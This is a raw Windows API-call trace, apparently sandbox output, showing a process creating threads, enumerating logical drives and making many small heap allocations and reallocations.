	[0163.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x6529f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0163.675] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64e038
	[0163.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x64e038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0163.675] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652a10
	[0163.675] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652a10, Size=0x20) returned 0x64db30
	[0163.675] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64db30, Size=0x40) returned 0x627758
	[0163.676] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0163.676] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xd0) returned 0x62aa88
	[0163.676] GetLogicalDrives () returned 0x4
	[0163.676] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10014) returned 0x656e00
	[0163.676] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652a10
	[0163.676] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652a10, Size=0x20) returned 0x64db30
	[0163.676] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64db30, Size=0x40) returned 0x627b48
	[0163.676] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627b48, Size=0x80) returned 0x655978
	[0163.676] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655978, Size=0x100) returned 0x6539b8
	[0163.676] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6539b8, Size=0x200) returned 0x6539b8
	[0163.676] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6539b8, Size=0x400) returned 0x6539b8
	[0163.676] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6539b8, Size=0x800) returned 0x656160
	[0163.676] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x656160, Size=0x1000) returned 0x666e20
	[0163.676] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x667e28
	[0163.676] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652950
	[0163.676] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x652b18
	[0163.676] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x4) returned 0x64e068
	[0163.676] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x6528f0
	[0163.676] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x4) returned 0x64def8
	[0163.676] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652a40
	[0163.676] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64def8, Size=0x8) returned 0x64df88
	[0163.676] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652a58
	[0163.677] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64df88, Size=0x10) returned 0x652b60
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652b78
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652a70
	[0163.677] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652b60, Size=0x20) returned 0x64db58
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652a10
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64df18
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xe) returned 0x652b90
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xe) returned 0x652aa0
	[0163.677] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64db58, Size=0x40) returned 0x627ab8
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xe) returned 0x652ad0
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xe) returned 0x652b60
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xe) returned 0x6528a8
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xe) returned 0x652ae8
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652a28
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6528c0
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64df28
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6528d8
	[0163.677] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627ab8, Size=0x80) returned 0x655290
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652908
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652920
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652938
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652980
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652bd8
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x652c38
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652c50
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64dee8
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652c68
	[0163.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652bf0
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x652c08
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652ba8
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x652bc0
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x652c20
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x656340
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6561c0
	[0163.678] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655290, Size=0x100) returned 0x656968
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6561f0
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656220
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656280
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x656238
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656250
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656418
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64df78
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6562c8
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656448
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656208
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x6) returned 0x64e008
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656268
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656328
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64df48
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6561a8
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656358
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x6562e0
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6562f8
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6563a0
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656388
	[0163.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xe) returned 0x656298
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6563b8
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x656370
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656190
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656310
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6563d0
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6562b0
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64e028
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6563e8
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656400
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6561d8
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656430
	[0163.679] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x656968, Size=0x200) returned 0x656968
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656460
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64e018
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656478
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656580
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6564a8
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6565b0
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656748
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656628
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6566b8
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656778
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656490
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x656508
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x656520
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656598
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656538
	[0163.679] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x6564c0
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x656670
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6565f8
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x6565c8
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x6566e8
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656760
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6566d0
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6565e0
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64dea8
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656700
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6564d8
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656640
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64df58
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656718
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x656610
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656730
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656658
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656688
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6564f0
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6566a0
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656550
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x656568
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x6567f0
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656940
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656808
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656790
	[0163.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x656838
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656868
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656880
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6567a8
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656850
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656820
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656898
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6567c0
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64dec8
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x6) returned 0x64df88
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6568b0
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6568c8
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6568e0
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6568f8
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x656910
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x656928
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6567d8
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678148
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x677ef0
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x677f68
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x678118
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x677fb0
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x677f08
	[0163.681] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x656968, Size=0x400) returned 0x678638
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678058
	[0163.681] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x677ff8
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x677e60
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678010
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678070
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x677f50
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x677fc8
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6780e8
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678028
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x677f20
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64dfc8
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x677fe0
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x677e78
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678100
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678130
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x677f80
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x677f98
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xe) returned 0x677e90
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678040
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678088
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6780a0
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x677ea8
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6780b8
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x677ec0
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x677ed8
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x677f38
	[0163.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64def8
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6780d0
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6783a0
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678220
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678340
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6781d8
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678298
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678418
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678208
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678358
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xe) returned 0x6782b0
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678310
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xe) returned 0x678370
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678400
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678250
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6783b8
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678388
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6782e0
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x678160
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678448
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6781f0
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678328
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678178
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6783d0
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6782c8
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6783e8
	[0163.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678430
	[0163.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6782f8
	[0163.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678190
	[0163.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678238
	[0163.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6781a8
	[0163.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678268
	[0163.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6781c0
	[0163.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678280
	[0163.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678508
	[0163.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678550
	[0163.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x678520
	[0163.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x12) returned 0x626548
	[0163.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678598
	[0163.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678478
	[0163.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6785b0
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678490
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6785c8
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6784c0
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678568
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6784a8
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6784d8
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678460
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6784f0
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6785f8
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678538
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6785e0
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678580
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678610
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678f98
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678fe0
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x679040
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678f80
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x678d70
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x678ed8
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x678ff8
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xe) returned 0x678f50
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x678f38
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64dfd8
	[0163.685] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678da0
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64de08
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678d88
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678ef0
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678ec0
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x678f68
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x678db8
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678fb0
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x678e90
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678fc8
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x679010
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x678e78
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678e60
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x679028
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x678ea8
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678f08
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64dd38
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x678f20
	[0163.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x679058
	[0163.686] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x678638, Size=0x800) returned 0x679248
